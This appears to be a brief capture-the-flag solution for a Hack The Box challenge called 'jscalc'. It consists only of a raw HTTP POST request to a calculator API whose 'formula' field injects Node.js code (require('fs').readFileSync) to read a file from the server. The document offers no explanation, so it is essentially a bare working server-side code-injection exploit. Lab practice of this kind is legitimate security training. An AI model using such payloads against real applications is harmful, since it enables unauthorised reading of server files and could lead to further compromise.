jscalc

https://app.hackthebox.com/challenges/jscalc

POST /api/calculate HTTP/1.1
Host: 83.136.254.158:49179
Content-Length: 67
Accept-Language: de-DE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://83.136.254.158:49179
Referer: http://83.136.254.158:49179/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"formula":"require('fs').readFileSync('/flag.txt').toString();"
}